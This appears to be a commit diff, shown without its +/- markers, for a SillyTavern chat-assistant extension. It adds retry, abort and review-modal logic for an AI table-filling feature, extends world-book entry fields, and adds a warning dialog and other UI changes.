if (!editedText || !editedText.includes('<Amily2Edit>')) {
toastr.warning('应用的文本中未检测到 <Amily2Edit> 指令块,已按原文尝试写入。', '手动应用');
}
try {
await commitSecondaryFillResult(editedText, targetMessages);
toastr.success('分步填表已由用户手动处理完成。', 'Amily2-分步填表');
} catch (err) {
console.error('[Amily2-副API] 手动应用失败:', err);
toastr.error(`手动应用失败: ${err.message}`, '写入异常');
}
},
onRetry: () => {
if (latestMessage && latestMessage.extra) {
delete latestMessage.extra.amily2_retry_count;
}
toastr.info('将重新执行分步填表...', 'Amily2-分步填表');
setTimeout(() => fillWithSecondaryApi(latestMessage, forceRun, opts), 300);
},
onCancel: () => {
toastr.info('已取消本次分步填表。', 'Amily2-分步填表');
},
});
return;
}
await commitSecondaryFillResult(rawContent, targetMessages);
}
if (!rawContent) {
console.error('[Amily2-副API] 未能获取AI响应内容。');
return;
}
console.log("[Amily2号-副API-原始回复]:", rawContent);
// 【修复】检查 AI 是否返回了有效的指令块,防止 AI 偷懒或格式错误被误判为成功
if (!rawContent.includes('<Amily2Edit>')) {
throw new Error('AI未返回有效的 <Amily2Edit> 指令块,可能格式错误或未产生实质性变更。');
}
updateTableFromText(rawContent);
const memoryState = getMemoryState();
const lastProcessedMsg = targetMessages[targetMessages.length - 1].msg;
for (const target of targetMessages) {
if (!target.msg.metadata) target.msg.metadata = {};
target.msg.metadata.Amily2_Process_Hash = target.hash;
}
if (saveStateToMessage(memoryState, lastProcessedMsg)) {
renderTables();
updateOrInsertTableInChat();
}
saveChat();
toastr.success("分步填表执行完毕。", "Amily2-分步填表");
} catch (error) {
if (error?.name === 'AbortError' || signal.aborted) {
console.warn('[Amily2-副API] 分步填表已被用户中断,跳过结果处理与重试。');
toastr.info('分步填表已中断。', 'Amily2-分步填表');
if (latestMessage && latestMessage.extra) {
delete latestMessage.extra.amily2_retry_count;
}
return;
}
console.error(`[Amily2-副API] 发生严重错误:`, error);
// 【新增】自定义重试逻辑
const maxRetries = parseInt(settings.secondary_filler_max_retries || 0, 10);
const currentRetryCount = latestMessage?.metadata?.Amily2_Retry_Count || 0;
const currentRetryCount = latestMessage?.extra?.amily2_retry_count || 0;
if (currentRetryCount < maxRetries) {
const nextRetryCount = currentRetryCount + 1;
console.log(`[Amily2-副API] 准备进行第 ${nextRetryCount}/${maxRetries} 次重试...`);
toastr.warning(`副API填表失败: ${error.message}。将在3秒后进行第 ${nextRetryCount} 次重试...`, "自动重试");
// 记录重试次数到最新消息的 metadata 中,以便跨调用传递状态
// 记录重试次数到最新消息的 extra 中,以便跨调用传递状态(跟 amily2_tables_data 一起持久化)
if (latestMessage) {
if (!latestMessage.metadata) latestMessage.metadata = {};
latestMessage.metadata.Amily2_Retry_Count = nextRetryCount;
if (!latestMessage.extra) latestMessage.extra = {};
latestMessage.extra.amily2_retry_count = nextRetryCount;
}
setTimeout(() => {
fillWithSecondaryApi(latestMessage, forceRun);
fillWithSecondaryApi(latestMessage, forceRun, opts);
}, 3000);
} else {
console.log(`[Amily2-副API] 已达到最大重试次数 (${maxRetries}),放弃本次填表。`);
toastr.error(`副API填表失败: ${error.message}。已达到最大重试次数,任务终止。`, "严重错误");
// 清除重试计数器
if (latestMessage && latestMessage.metadata) {
delete latestMessage.metadata.Amily2_Retry_Count;
if (latestMessage && latestMessage.extra) {
delete latestMessage.extra.amily2_retry_count;
}
}
} finally {
secondaryFillerRunning = false;
currentAbortController = null;
}
}
export function resetSecondaryFillerLock() {
const wasLocked = secondaryFillerRunning;
if (secondaryFillerDebounceTimer) {
clearTimeout(secondaryFillerDebounceTimer);
secondaryFillerDebounceTimer = null;
}
if (currentAbortController) {
try { currentAbortController.abort(); } catch {}
currentAbortController = null;
}
secondaryFillerRunning = false;
return wasLocked;
}
export function isSecondaryFillerRunning() {
return secondaryFillerRunning;
}
export function abortCurrentSecondaryFiller() {
if (!secondaryFillerRunning && !currentAbortController) {
return false;
}
if (currentAbortController) {
try { currentAbortController.abort(); } catch {}
}
// 锁的释放由 finally 完成;这里只发出中断信号
return true;
}
async function getHistoryContext(messagesToFetch, historyEndIndex, tagsToExtract, exclusionRules) {
const context = getContext();
const chat = context.chat;

View File

@@ -158,4 +158,10 @@ export const tableSystemDefaultSettings = {
// Nccs API 设置
nccsEnabled: false,
nccsFakeStreamEnabled: false,
// Function Call 填表
tableFillFunctionCall: false,
// 批量填表每批楼层数
batch_filling_threshold: 30,
};

View File

@@ -393,8 +393,12 @@ class AmilyHelper {
keys: entry.key || [],
enabled: !entry.disable,
constant: entry.constant || false,
position: positionMap[entry.position] || 'at_depth_as_system',
depth: entry.depth || 998,
position: positionMap[entry.position ?? entry.extensions?.position] || 'at_depth_as_system',
depth: entry.depth ?? entry.extensions?.depth ?? 998,
scanDepth: entry.scanDepth ?? entry.extensions?.scan_depth,
order: entry.order ?? entry.extensions?.display_index,
exclude_recursion: entry.excludeRecursion ?? entry.extensions?.exclude_recursion ?? false,
prevent_recursion: entry.preventRecursion ?? entry.extensions?.prevent_recursion ?? false,
}));
} catch (error) {
console.error(`[Amily助手] 获取世界书《${bookName}》条目时出错:`, error);
@@ -429,13 +433,36 @@ class AmilyHelper {
'at_depth': 4,
'at_depth_as_system': 4
};
existingEntry.position = positionMap[entryUpdate.position] ?? 4;
const mappedPos = positionMap[entryUpdate.position] ?? 4;
existingEntry.position = mappedPos;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.position = mappedPos;
}
if (entryUpdate.depth !== undefined) {
existingEntry.depth = entryUpdate.depth;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.depth = entryUpdate.depth;
}
if (entryUpdate.scanDepth !== undefined) {
existingEntry.scanDepth = entryUpdate.scanDepth;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.scan_depth = entryUpdate.scanDepth;
}
if (entryUpdate.order !== undefined) {
existingEntry.order = entryUpdate.order;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.display_index = entryUpdate.order;
}
if (entryUpdate.exclude_recursion !== undefined) {
existingEntry.excludeRecursion = entryUpdate.exclude_recursion;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.exclude_recursion = entryUpdate.exclude_recursion;
}
if (entryUpdate.prevent_recursion !== undefined) {
existingEntry.preventRecursion = entryUpdate.prevent_recursion;
if (!existingEntry.extensions) existingEntry.extensions = {};
existingEntry.extensions.prevent_recursion = entryUpdate.prevent_recursion;
}
if (entryUpdate.depth !== undefined) existingEntry.depth = entryUpdate.depth;
if (entryUpdate.scanDepth !== undefined) existingEntry.scanDepth = entryUpdate.scanDepth;
if (entryUpdate.order !== undefined) existingEntry.order = entryUpdate.order;
if (entryUpdate.exclude_recursion !== undefined) existingEntry.excludeRecursion = entryUpdate.exclude_recursion;
if (entryUpdate.prevent_recursion !== undefined) existingEntry.preventRecursion = entryUpdate.prevent_recursion;
}
}
await saveWorldInfo(bookName, bookData, true);
@@ -470,19 +497,37 @@ class AmilyHelper {
'at_depth': 4,
'at_depth_as_system': 4
};
const mappedPos = typeof newEntryData.position === 'string' ? (positionMap[newEntryData.position] ?? 4) : (newEntryData.position ?? 4);
Object.assign(newEntry, {
comment: newEntryData.comment || '新条目',
content: newEntryData.content || '',
key: newEntryData.keys || newEntryData.key || [],
constant: newEntryData.type === 'constant' ? true : (newEntryData.constant || false),
position: typeof newEntryData.position === 'string' ? (positionMap[newEntryData.position] ?? 4) : (newEntryData.position ?? 4),
position: mappedPos,
depth: newEntryData.depth ?? 998,
scanDepth: newEntryData.scanDepth ?? null,
order: newEntryData.order ?? 100,
disable: !(newEntryData.enabled ?? true),
excludeRecursion: newEntryData.excludeRecursion ?? newEntryData.exclude_recursion ?? false,
preventRecursion: newEntryData.preventRecursion ?? newEntryData.prevent_recursion ?? false,
});
if (newEntryData.type === 'selective') newEntry.constant = false;
// 兼容新版酒馆的防递归等扩展逻辑 (v1.17.0+)
if (!newEntry.extensions) newEntry.extensions = {};
newEntry.extensions.position = mappedPos;
newEntry.extensions.depth = newEntry.depth;
if (newEntry.scanDepth !== null) newEntry.extensions.scan_depth = newEntry.scanDepth;
if (newEntryData.order !== undefined) newEntry.extensions.display_index = newEntryData.order;
const hasExclude = newEntryData.excludeRecursion !== undefined || newEntryData.exclude_recursion !== undefined;
const hasPrevent = newEntryData.preventRecursion !== undefined || newEntryData.prevent_recursion !== undefined;
if (hasExclude) {
newEntry.extensions.exclude_recursion = newEntryData.excludeRecursion ?? newEntryData.exclude_recursion ?? false;
}
if (hasPrevent) {
newEntry.extensions.prevent_recursion = newEntryData.preventRecursion ?? newEntryData.prevent_recursion ?? false;
}
}
await saveWorldInfo(bookName, bookData, true);
reloadEditor(bookName);

View File

@@ -9,6 +9,7 @@ import { handleFileUpload, processNovel } from './index.js';
import { reorganizeEntriesByHeadings, loadDatabaseFiles } from './executor.js';
import { SETTINGS_KEY as PRESET_SETTINGS_KEY } from '../PresetSettings/config.js';
import { escapeHTML } from '../utils/utils.js';
import { watchProfileSliderGuard } from '../ui/profile-slider-guard.js';
const moduleState = {
selectedWorldBook: '',
@@ -669,6 +670,8 @@ export function bindGlossaryEvents() {
loadSettingsToUI();
bindAutoSaveEvents();
// sybd 槽分配 profile 后,温度/maxTokens 由 profile 权威控制T-006 informational 化)
watchProfileSliderGuard('sybd', ['#amily2_sybd_max_tokens', '#amily2_sybd_temperature']);
bindManualActionEvents();
bindTabEvents();
bindNovelProcessEvents();

View File

@@ -23,10 +23,11 @@ export { characters, this_chid, eventSource, event_types, saveSettingsDebounced
// Core Systems
export { injectTableData, generateTableContent } from "./core/table-system/injector.js";
export { injectProgressiveMemory, clearProgressiveMemoryInjection } from "./core/progressive-memory/engine.js";
export { initialize as initializeRagProcessor } from "./core/rag-processor.js";
export { loadSettingsToUI as loadHanlinyuanSettingsToUI } from "./ui/hanlinyuan-bindings.js";
export { loadTables, clearHighlights, rollbackAndRefill, rollbackState, commitPendingDeletions, saveStateToMessage, getMemoryState, clearUpdatedTables } from './core/table-system/manager.js';
export { fillWithSecondaryApi } from './core/table-system/secondary-filler.js';
export { fillWithSecondaryApi, resetSecondaryFillerLock, isSecondaryFillerRunning, abortCurrentSecondaryFiller } from './core/table-system/secondary-filler.js';
export { renderTables } from './ui/table-bindings.js';
export { log } from './core/table-system/logger.js';
export { checkForUpdates, fetchMessageBoardContent } from './core/api.js';

View File

@@ -7,6 +7,7 @@ import {
getContext, extension_settings,
characters, this_chid, eventSource, event_types, saveSettingsDebounced,
injectTableData, generateTableContent,
injectProgressiveMemory,
initializeRagProcessor,
loadHanlinyuanSettingsToUI,
loadTables, clearHighlights, rollbackAndRefill, rollbackState, commitPendingDeletions, saveStateToMessage, getMemoryState, clearUpdatedTables,
@@ -697,7 +698,7 @@ function registerEventListeners() {
log(`【监察系统】主填表模式回退后强制刷新消息ID: ${chat_id}`, 'info');
await handleTableUpdate(chat_id, true);
} else if (fillingMode === 'secondary-api' || fillingMode === 'optimized') {
log('【监察系统】分步/优化模式,回退后强制二次填表最新消息。', 'info');
log('【监察系统】分步/优化模式,回退后触发二次填表扫描(受保留缓冲区限制)。', 'info');
await fillWithSecondaryApi(latestMessage, true);
} else {
log('【监察系统】未配置填表模式,跳过填表。', 'info');
@@ -751,6 +752,12 @@ async function executeAmily2Injection(...args) {
} catch (error) {
console.error('[Amily2-内存储司] 表格注入失败:', error);
}
try {
// 渐进记忆内测type2 门槛由引擎内部判定args[3] = type'quiet' 时跳过)
injectProgressiveMemory(args[3]);
} catch (error) {
console.error('[Amily2-渐进记忆] 注入失败:', error);
}
if (window.hanlinyuanRagProcessor && typeof window.hanlinyuanRagProcessor.rearrangeChat === 'function') {
try {
console.log('[Amily2-核心引擎] 执行内置RAG注入。');

View File

@@ -1,7 +1,7 @@
{
"name": "Amily2号聊天优化助手",
"display_name": "Amily2号助手",
"version": "2.2.0",
"version": "2.2.7",
"author": "Wx-2025",
"description": "一个拥有独立UI的智能引擎正文优化、自动总结、记忆表格、rag向量、隐藏楼层、剧情推进等多功能整合。",
"minSillyTavernVersion": "1.10.0",

View File

@@ -10,8 +10,10 @@ import { setAvailableModels, populateModelDropdown, getLatestUpdateInfo } from "
import { fixCommand, testReplyChecker } from "../core/commands.js";
import { messageFormatting } from '/script.js';
import { executeManualCommand } from '../core/autoHideManager.js';
import { showContentModal, showHtmlModal } from './page-window.js';
import { showContentModal, showHtmlModal, showCwbWarningModal } from './page-window.js';
import { openAutoCharCardWindow } from '../core/auto-char-card/ui-bindings.js';
import { showPresetSettings } from '../PresetSettings/prese_ui.js';
import { watchProfileSliderGuard } from './profile-slider-guard.js';
function displayDailyAuthCode() {
const displayEl = document.getElementById('amily2_daily_code_display');
@@ -806,7 +808,7 @@ export function bindModalEvents() {
container
.off("click.amily2.chamber_nav")
.on("click.amily2.chamber_nav",
"#amily2_open_text_optimization, #amily2_open_plot_optimization, #amily2_open_additional_features, #amily2_open_rag_palace, #amily2_open_memorisation_forms, #amily2_open_character_world_book, #amily2_open_world_editor, #amily2_open_glossary, #amily2_open_renderer, #amily2_open_super_memory, #amily2_open_auto_char_card, #amily2_open_api_config, #amily2_open_rule_config, #amily2_open_sfigen, #amily2_back_to_main_settings, #amily2_back_to_main_from_hanlinyuan, #amily2_back_to_main_from_forms, #amily2_back_to_main_from_optimization, #amily2_back_to_main_from_text_optimization, #amily2_back_to_main_from_cwb, #amily2_back_to_main_from_world_editor, #amily2_back_to_main_from_glossary, #amily2_renderer_back_button, #amily2_back_to_main_from_super_memory, #amily2_back_to_main_from_api_config, #amily2_back_to_main_from_rule_config, #amily2_sfigen_back_to_main", function () {
"#amily2_open_text_optimization, #amily2_open_plot_optimization, #amily2_open_additional_features, #amily2_open_rag_palace, #amily2_open_memorisation_forms, #amily2_open_character_world_book, #amily2_open_world_editor, #amily2_open_glossary, #amily2_open_renderer, #amily2_open_super_memory, #amily2_open_progressive_memory, #amily2_open_auto_char_card, #amily2_open_api_config, #amily2_open_rule_config, #amily2_open_sfigen, #amily2_open_preset_editor, #amily2_back_to_main_settings, #amily2_back_to_main_from_hanlinyuan, #amily2_back_to_main_from_forms, #amily2_back_to_main_from_optimization, #amily2_back_to_main_from_text_optimization, #amily2_back_to_main_from_cwb, #amily2_back_to_main_from_world_editor, #amily2_back_to_main_from_glossary, #amily2_renderer_back_button, #amily2_back_to_main_from_super_memory, #amily2_back_to_main_from_progressive_memory, #amily2_back_to_main_from_api_config, #amily2_back_to_main_from_rule_config, #amily2_sfigen_back_to_main", function () {
if (!pluginAuthStatus.authorized) return;
const mainPanel = container.find('.plugin-features');
@@ -820,6 +822,7 @@ export function bindModalEvents() {
const glossaryPanel = container.find('#amily2_glossary_panel');
const rendererPanel = container.find('#amily2_renderer_panel');
const superMemoryPanel = container.find('#amily2_super_memory_panel');
const progressiveMemoryPanel = container.find('#amily2_progressive_memory_panel');
const apiConfigPanel = container.find('#amily2_api_config_panel');
const ruleConfigPanel = container.find('#amily2_rule_config_panel');
const sfigenPanel = container.find('#amily2_sfigen_panel');
@@ -835,6 +838,7 @@ export function bindModalEvents() {
glossaryPanel.hide();
rendererPanel.hide();
superMemoryPanel.hide();
progressiveMemoryPanel.hide();
apiConfigPanel.hide();
ruleConfigPanel.hide();
sfigenPanel.hide();
@@ -852,6 +856,16 @@ export function bindModalEvents() {
}
superMemoryPanel.show();
break;
case 'amily2_open_progressive_memory': {
const pmUserType = parseInt(localStorage.getItem("plugin_user_type") || "0");
if (pmUserType < 3) {
toastr.info("该功能正在开发中,将于未来版本开放,敬请期待。", "开发中功能");
mainPanel.show();
return;
}
progressiveMemoryPanel.show();
break;
}
case 'amily2_open_auto_char_card':
openAutoCharCardWindow();
// 自动构建器是独立窗口,不需要隐藏主面板,或者根据需求决定
@@ -874,7 +888,10 @@ export function bindModalEvents() {
memorisationFormsPanel.show();
break;
case 'amily2_open_character_world_book':
characterWorldBookPanel.show();
showCwbWarningModal(
() => characterWorldBookPanel.show(),
() => mainPanel.show()
);
break;
case 'amily2_open_world_editor':
worldEditorPanel.show();
@@ -891,6 +908,10 @@ export function bindModalEvents() {
case 'amily2_open_sfigen':
sfigenPanel.show();
break;
case 'amily2_open_preset_editor':
showPresetSettings();
mainPanel.show();
return;
case 'amily2_back_to_main_settings':
case 'amily2_back_to_main_from_hanlinyuan':
case 'amily2_back_to_main_from_forms':
@@ -901,6 +922,7 @@ export function bindModalEvents() {
case 'amily2_back_to_main_from_glossary':
case 'amily2_renderer_back_button':
case 'amily2_back_to_main_from_super_memory':
case 'amily2_back_to_main_from_progressive_memory':
case 'amily2_back_to_main_from_api_config':
case 'amily2_back_to_main_from_rule_config':
case 'amily2_sfigen_back_to_main':
@@ -1111,6 +1133,9 @@ export function bindModalEvents() {
},
);
// main 槽分配 profile 后,这两个参数由 profile 权威控制T-006 informational 化)
watchProfileSliderGuard('main', ['#amily2_max_tokens', '#amily2_temperature']);
const promptMap = {
mainPrompt: "#amily2_main_prompt",
systemPrompt: "#amily2_system_prompt",

View File

@@ -77,16 +77,6 @@ function updateAndSaveSetting(key, value) {
HanlinyuanCore.saveSettings();
if (key === 'condensation.tagExtractionEnabled') {
syncHanlinLinkedRuleProfile('condensation', { tagExtractionEnabled: value });
} else if (key === 'condensation.tags') {
syncHanlinLinkedRuleProfile('condensation', { tags: value });
} else if (key === 'queryPreprocessing.tagExtractionEnabled') {
syncHanlinLinkedRuleProfile('queryPreprocessing', { tagExtractionEnabled: value });
} else if (key === 'queryPreprocessing.tags') {
syncHanlinLinkedRuleProfile('queryPreprocessing', { tags: value });
}
log(`[自动保存] 设置项 '${key}' 已更新为: ${JSON.stringify(value)}`, 'success');
}
@@ -390,15 +380,7 @@ function bindInternalUIEvents() {
}
// 注入设置的UI逻辑已由 initializeUnifiedInjectionEditor 函数统一处理。
// 【新增】为“标签提取”复选框绑定事件
const tagExtractionToggle = document.getElementById('hly-tag-extraction-toggle');
const tagInputContainer = document.getElementById('hly-tag-input-container');
if (tagExtractionToggle && tagInputContainer) {
tagExtractionToggle.addEventListener('change', () => {
tagInputContainer.style.display = tagExtractionToggle.checked ? 'block' : 'none';
});
}
// 标签提取开关/输入框已在 2.1.0 重构中移除,改为规则配置下拉选单管理。
// 为“书库选择”下拉框绑定联动事件
const librarySelect = document.getElementById('hly-hist-select-library');
@@ -664,20 +646,12 @@ export function loadSettingsToUI() {
histMaxRetriesEl.value = settings.historiographyMaxRetries ?? 2;
}
// hly-tag-extraction-toggle / hly-tag-input / hly-tag-input-container 已从 HTML 移除
// 标签提取规则改由 RuleProfileManager 管理。此处保留兼容性 null 检查,避免抛错吞掉后续段落加载
const tagExtractionToggle = document.getElementById('hly-tag-extraction-toggle');
const tagInput = document.getElementById('hly-tag-input');
const tagInputContainer = document.getElementById('hly-tag-input-container');
if (tagExtractionToggle) tagExtractionToggle.checked = settings.condensation.tagExtractionEnabled;
if (tagInput) tagInput.value = settings.condensation.tags;
if (tagInputContainer && tagExtractionToggle) {
tagInputContainer.style.display = tagExtractionToggle.checked ? 'block' : 'none';
}
// 标签提取开关/输入框已在 2.1.0 重构中移除(改为规则配置下拉选单)
// 这里不再回填对应 DOM避免因元素已不存在导致 loadSettingsToUI 中断
// Rerank 设置
document.getElementById('hly-rerank-enabled').checked = settings.rerank.enabled;
/** @type {HTMLSelectElement} */ (document.getElementById('hly-rerank-api-mode')).value = settings.rerank.apiMode ?? 'custom';
document.getElementById('hly-rerank-url').value = settings.rerank.url;
document.getElementById('hly-rerank-api-key').value = settings.rerank.apiKey;
const rerankModelSelect = document.getElementById('hly-rerank-model');
@@ -701,7 +675,7 @@ export function loadSettingsToUI() {
const sources = ['novel', 'chat_history', 'lorebook', 'manual'];
sources.forEach(source => {
const sourceSettings = prioritySettings.sources[source];
const sourceSettings = prioritySettings.sources?.[source];
if (sourceSettings) {
const enabledCheckbox = document.querySelector(`[data-setting-key="rerank.priorityRetrieval.sources.${source}.enabled"]`);
const countInput = document.querySelector(`[data-setting-key="rerank.priorityRetrieval.sources.${source}.count"]`);
@@ -732,6 +706,11 @@ function saveSettingsFromUI(isAutoSave = true) {
const key = target.dataset.settingKey;
if (!key) return;
// 被 profile-sync 接管的字段(祖先元素带 data-profile-hidden会被填充
// MASKED_KEY 占位符并隐藏,若一并写回会污染 settings.{rerank,retrieval}.apiKey
// 等字段为 '••••••••',导致取消 Profile 分配后实际请求带占位符 token 被 401。
if (target.closest('[data-profile-hidden]')) return;
let value;
const type = target.dataset.type || 'string';
@@ -1036,10 +1015,15 @@ function _createKbItemElement(id, kb, scope, vectorCount) {
? `<button class="hly-kb-move-btn" title="上移到全局"><i class="fas fa-arrow-up"></i></button>`
: `<button class="hly-kb-move-btn" title="下移到局部"><i class="fas fa-arrow-down"></i></button>`;
// 聊天级库(独立聊天记忆产物)标记:仅所属聊天可检索
const chatBadgeHtml = kb.chatId
? `<span title="聊天专属记忆,仅在聊天 ${escapeAttribute(kb.chatId)} 中可被检索" style="font-size: 0.8em; padding: 0 5px; border-radius: 3px; background: rgba(88,166,255,0.25); margin-left: 4px; white-space: nowrap;"><i class="fas fa-comment"></i> 聊天级</span>`
: '';
item.innerHTML = `
<div class="hly-kb-name-container">
<input type="checkbox" class="hly-kb-item-checkbox" data-kb-id="${escapeAttribute(id)}">
<span class="hly-kb-name" title="ID: ${escapeAttribute(id)}">${escapeTextareaContent(kb.name || '')} (${Number(vectorCount) || 0}条)</span>
<span class="hly-kb-name" title="ID: ${escapeAttribute(id)}">${escapeTextareaContent(kb.name || '')} (${Number(vectorCount) || 0}条)</span>${chatBadgeHtml}
</div>
<div class="hly-kb-actions">
${moveButtonHtml}

View File

@@ -161,9 +161,151 @@ export function showSummaryModal(summaryText, callbacks) {
regenerateButton.on('click', () => {
if (onRegenerate) {
dialogElement[0].close();
onRegenerate(dialogElement);
onRegenerate(dialogElement);
}
});
dialogElement.find('.popup-controls').prepend(regenerateButton);
}
export function showTableFillReviewModal(rawResponse, callbacks = {}) {
const {
title = '填表响应检查',
subtitle = 'AI未返回有效的 <Amily2Edit> 指令块。您可以在下方查看/编辑原始响应,并选择后续处理方式。',
onApply,
onContinue,
onRetry,
onCancel,
} = callbacks;
const modalHtml = `
<div class="amily2-fill-review-modal">
<div class="notes" style="margin-bottom: 10px; color: #ffb74d; line-height: 1.6;">
<i class="fas fa-exclamation-triangle"></i> ${escapeHtml(subtitle)}
</div>
<textarea class="text_pole amily2-fill-review-text"
style="width: 100%; height: 45vh; resize: vertical; font-family: var(--monoFontFamily, monospace); font-size: 12px; white-space: pre; overflow-wrap: normal; overflow-x: auto;"
>${escapeHtml(rawResponse || '')}</textarea>
<div class="notes" style="margin-top: 8px; font-size: 0.85em; opacity: 0.8; line-height: 1.6;">
<div><b>继续补全</b>:让 AI 基于当前文本继续生成剩余内容,结果会追加到文本框后。</div>
<div><b>重新填表</b>:舍弃当前响应并重新向 AI 请求同一批次的填表。</div>
<div><b>手动应用</b>:将文本框中的当前内容直接作为最终结果写入表格(跳过格式校验)。</div>
<div><b>取消</b>:放弃本次填表,任务暂停。</div>
</div>
</div>
`;
const dialogElement = showHtmlModal(title, modalHtml, {
okText: '手动应用',
cancelText: '取消',
showCancel: true,
onOk: (dialog) => {
const editedText = dialog.find('.amily2-fill-review-text').val();
if (onApply) {
onApply(editedText);
}
},
onCancel: () => {
if (onCancel) {
onCancel();
}
},
});
const textarea = dialogElement.find('.amily2-fill-review-text');
if (typeof onContinue === 'function') {
const continueButton = $('<button class="menu_button interactable" style="margin-right: auto;"><i class="fas fa-forward"></i> 继续补全</button>');
continueButton.on('click', async () => {
const currentText = textarea.val();
textarea.prop('disabled', true);
continueButton.prop('disabled', true).html('<i class="fas fa-spinner fa-spin"></i> 正在请求补全...');
try {
const continued = await onContinue(currentText);
if (typeof continued === 'string' && continued.length > 0) {
textarea.val(continued);
}
} catch (err) {
console.error('[Amily2 填表检查] 补全请求失败:', err);
if (window.toastr) toastr.error(`补全失败: ${err.message || err}`, '继续补全');
} finally {
textarea.prop('disabled', false);
continueButton.prop('disabled', false).html('<i class="fas fa-forward"></i> 继续补全');
}
});
dialogElement.find('.popup-controls').prepend(continueButton);
}
if (typeof onRetry === 'function') {
const retryButton = $('<button class="menu_button secondary interactable"><i class="fas fa-redo"></i> 重新填表</button>');
retryButton.on('click', () => {
dialogElement[0].close();
dialogElement.remove();
onRetry();
});
const okBtn = dialogElement.find('.popup-button-ok');
if (okBtn.length) {
retryButton.insertBefore(okBtn);
} else {
dialogElement.find('.popup-controls').append(retryButton);
}
}
return dialogElement;
}
const CWB_WARNING_COUNTDOWN = 10;
/**
* 角色世界书入口警告弹窗,强制倒计时后才可继续。
* @param {Function} onProceed - 用户点击"继续使用"时的回调
* @param {Function} onClose - 用户点击"关闭退出"时的回调(含弹窗关闭前直接离开)
*/
export function showCwbWarningModal(onProceed, onClose) {
const dialogHtml = `
<dialog class="popup wide_dialogue_popup">
<div class="popup-body">
<h3 style="margin-top:0; color:#e8a838; border-bottom:1px solid rgba(255,255,255,0.2); padding-bottom:10px;">
<i class="fas fa-exclamation-triangle" style="color:#e8a838;"></i> 注意 — 角色世界书功能维护状态
</h3>
<div style="line-height:1.8; padding:12px 4px; color:var(--SmartThemeBodyColor);">
该功能长期未进行维护且其实现可被表格及其他功能替代,若非必须一般不建议使用,如确认希望使用,请明确该功能无法获得有效技术支持。
</div>
<div class="popup-controls" style="gap:8px;">
<button class="cwb-warning-close menu_button secondary interactable">关闭退出</button>
<button class="cwb-warning-proceed menu_button menu_button_primary interactable" disabled>
继续使用(<span class="cwb-countdown">${CWB_WARNING_COUNTDOWN}</span>
</button>
</div>
</div>
</dialog>`;
const $dialog = $(dialogHtml).appendTo('body');
const close = (cb) => {
clearInterval(timer);
$dialog[0].close();
$dialog.remove();
cb?.();
};
$dialog.find('.cwb-warning-close').on('click', () => close(onClose));
$dialog.find('.cwb-warning-proceed').on('click', function () {
if (!this.disabled) close(onProceed);
});
let remaining = CWB_WARNING_COUNTDOWN;
const timer = setInterval(() => {
remaining -= 1;
$dialog.find('.cwb-countdown').text(remaining);
if (remaining <= 0) {
clearInterval(timer);
const $btn = $dialog.find('.cwb-warning-proceed');
$btn.prop('disabled', false).html('继续使用');
}
}, 1000);
$dialog[0].showModal();
}

View File

@@ -8,13 +8,24 @@
import { extension_settings, getContext } from "/scripts/extensions.js";
import { characters, this_chid, getRequestHeaders, saveSettingsDebounced, eventSource, event_types } from "/script.js";
import { defaultSettings, extensionName } from "../utils/settings.js";
import { testJqyhApiConnection, fetchJqyhModels } from '../core/api/JqyhApi.js';
import { testConcurrentApiConnection, fetchConcurrentModels } from '../core/api/ConcurrentApi.js';
import { safeLorebooks, safeCharLorebooks, safeLorebookEntries } from "../core/tavernhelper-compatibility.js";
import { createDrawer } from '../ui/drawer.js';
import { pluginAuthStatus } from "../utils/auth.js";
import { configManager } from '../utils/config/ConfigManager.js';
import { SENSITIVE_KEYS } from '../utils/config/sensitive-keys.js';
import { showHtmlModal } from './page-window.js';
import { escapeHTML } from '../utils/utils.js';
import { SLOTS } from '../utils/config/ApiProfileManager.js';
import {
listCustomBlocks,
getCustomBlock,
addCustomBlock,
updateCustomBlock,
deleteCustomBlock,
syncCustomBlocksFromSettings,
} from '../core/memory-blocks/index.js';
import { watchProfileSliderGuard } from './profile-slider-guard.js';
// ========== Prompt Cache (module-level state) ==========
@@ -45,30 +56,6 @@ function opt_toCamelCase(str) {
return str.replace(/[-_]([a-z])/g, (g) => g[1].toUpperCase());
}
function opt_updateApiUrlVisibility(panel, apiMode) {
const customApiSettings = panel.find('#amily2_opt_custom_api_settings_block');
const tavernProfileSettings = panel.find('#amily2_opt_tavern_api_profile_block');
const apiUrlInput = panel.find('#amily2_opt_api_url');
customApiSettings.hide();
tavernProfileSettings.hide();
if (apiMode === 'tavern') {
tavernProfileSettings.show();
} else {
customApiSettings.show();
if (apiMode === 'google') {
panel.find('#amily2_opt_api_url_block').hide();
const googleUrl = 'https://generativelanguage.googleapis.com';
if (apiUrlInput.val() !== googleUrl) {
apiUrlInput.val(googleUrl).attr('type', 'text').trigger('change');
}
} else {
panel.find('#amily2_opt_api_url_block').show();
}
}
}
function opt_updateWorldbookSourceVisibility(panel, source) {
const manualSelectionWrapper = panel.find('#amily2_opt_worldbook_select_wrapper');
if (source === 'manual') {
@@ -85,49 +72,6 @@ function opt_updateWorldbookSourceVisibility(panel, source) {
}
}
async function opt_loadTavernApiProfiles(panel) {
const select = panel.find('#amily2_opt_tavern_api_profile_select');
const apiSettings = opt_getMergedSettings();
const currentProfileId = apiSettings.plotOpt_tavernProfile;
const currentValue = select.val();
select.empty().append(new Option('-- 请选择一个酒馆预设 --', ''));
try {
const tavernProfiles = getContext().extensionSettings?.connectionManager?.profiles || [];
if (!tavernProfiles || tavernProfiles.length === 0) {
select.append($('<option>', { value: '', text: '未找到酒馆预设', disabled: true }));
return;
}
let foundCurrentProfile = false;
tavernProfiles.forEach(profile => {
if (profile.api && profile.preset) {
const option = $('<option>', {
value: profile.id,
text: profile.name || profile.id,
selected: profile.id === currentProfileId
});
select.append(option);
if (profile.id === currentProfileId) {
foundCurrentProfile = true;
}
}
});
if (currentProfileId && !foundCurrentProfile) {
toastr.warning(`之前选择的酒馆预设 "${currentProfileId}" 已不存在,请重新选择。`);
opt_saveSetting('tavernProfile', '');
} else if (foundCurrentProfile) {
select.val(currentProfileId);
}
} catch (error) {
console.error(`[${extensionName}] 加载酒馆API预设失败:`, error);
toastr.error('无法加载酒馆API预设列表请查看控制台。');
}
}
const opt_characterSpecificSettings = [
'plotOpt_worldbookSource',
@@ -640,27 +584,9 @@ function opt_loadSettings(panel) {
